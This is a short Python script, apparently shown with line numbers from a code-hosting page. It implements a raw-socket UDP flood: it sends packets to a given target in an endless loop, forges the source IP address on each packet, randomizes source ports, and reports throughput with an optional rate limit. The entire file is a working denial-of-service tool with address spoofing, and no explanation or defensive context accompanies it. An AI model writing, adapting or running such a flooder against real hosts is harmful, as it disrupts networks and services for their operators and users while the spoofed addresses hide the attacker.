|
1 import dpkt |
|
2 import ipaddr |
|
3 import os |
|
4 import random |
|
5 import socket |
|
6 import struct |
|
7 import sys |
|
8 import time |
|
9 |
|
10 IP_HDR = struct.Struct('! BBH HH BBH 4s 4s') |
|
11 UDP_HDR = struct.Struct('! HH HH') |
|
12 |
|
13 def udpflood (dst, rate=None): |
|
14 sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) |
|
15 |
|
16 daddr = ipaddr.IPAddress(dst).packed |
|
17 dport = 1337 |
|
18 ttl = 64 |
|
19 |
|
20 t0 = time.time() |
|
21 t1 = 0.0 |
|
22 count = 0 |
|
23 size = 0 |
|
24 |
|
25 while True: |
|
26 saddr = 'ABC' + os.urandom(1) |
|
27 sport = random.randint(1, 2**16 - 1) |
|
28 |
|
29 # UDP checksum is optional |
|
30 udp_hdr = UDP_HDR.pack(sport, dport, 8, 0x1337) |
|
31 |
|
32 # IP checksum is filled in by kernel raw socket |
|
33 ip_hdr = IP_HDR.pack( |
|
34 0x45, 0x00, IP_HDR.size + UDP_HDR.size + 0, |
|
35 0x0000, 0x0000, |
|
36 ttl, dpkt.ip.IP_PROTO_UDP, 0, |
|
37 saddr, |
|
38 daddr, |
|
39 ) |
|
40 |
|
41 pkt = ip_hdr + udp_hdr + '' |
|
42 sock.sendto(pkt, (dst, 0)) |
|
43 |
|
44 # stats |
|
45 count += 1 |
|
46 size += len(pkt) |
|
47 t = time.time() - t0 |
|
48 |
|
49 if rate and count % 1000: |
|
50 over = count - t * rate |
|
51 |
|
52 if over > 0: |
|
53 #sys.stdout.write('.') |
|
54 time.sleep(over / rate) |
|
55 |
|
56 if t - t1 > 1.0: |
|
57 sys.stdout.write('%8.2fs: %8d @ %8.2f/s = %8.2fM @ %5d/pkt\n' % (t, count, count / t, size / 1e6, size / count)) |
|
58 t1 = t |
|
59 |
|
60 return 0 |
|
61 |
|
62 def main (argv): |
|
63 prog = argv.pop(0) |
|
64 dst = argv.pop(0) |
|
65 |
|
66 if argv: |
|
67 rate = int(argv.pop(0)) |
|
68 else : |
|
69 rate = None |
|
70 |
|
71 return udpflood(dst, rate) |
|
72 |
|
73 if __name__ == '__main__': |
|
74 sys.exit(main(sys.argv)) |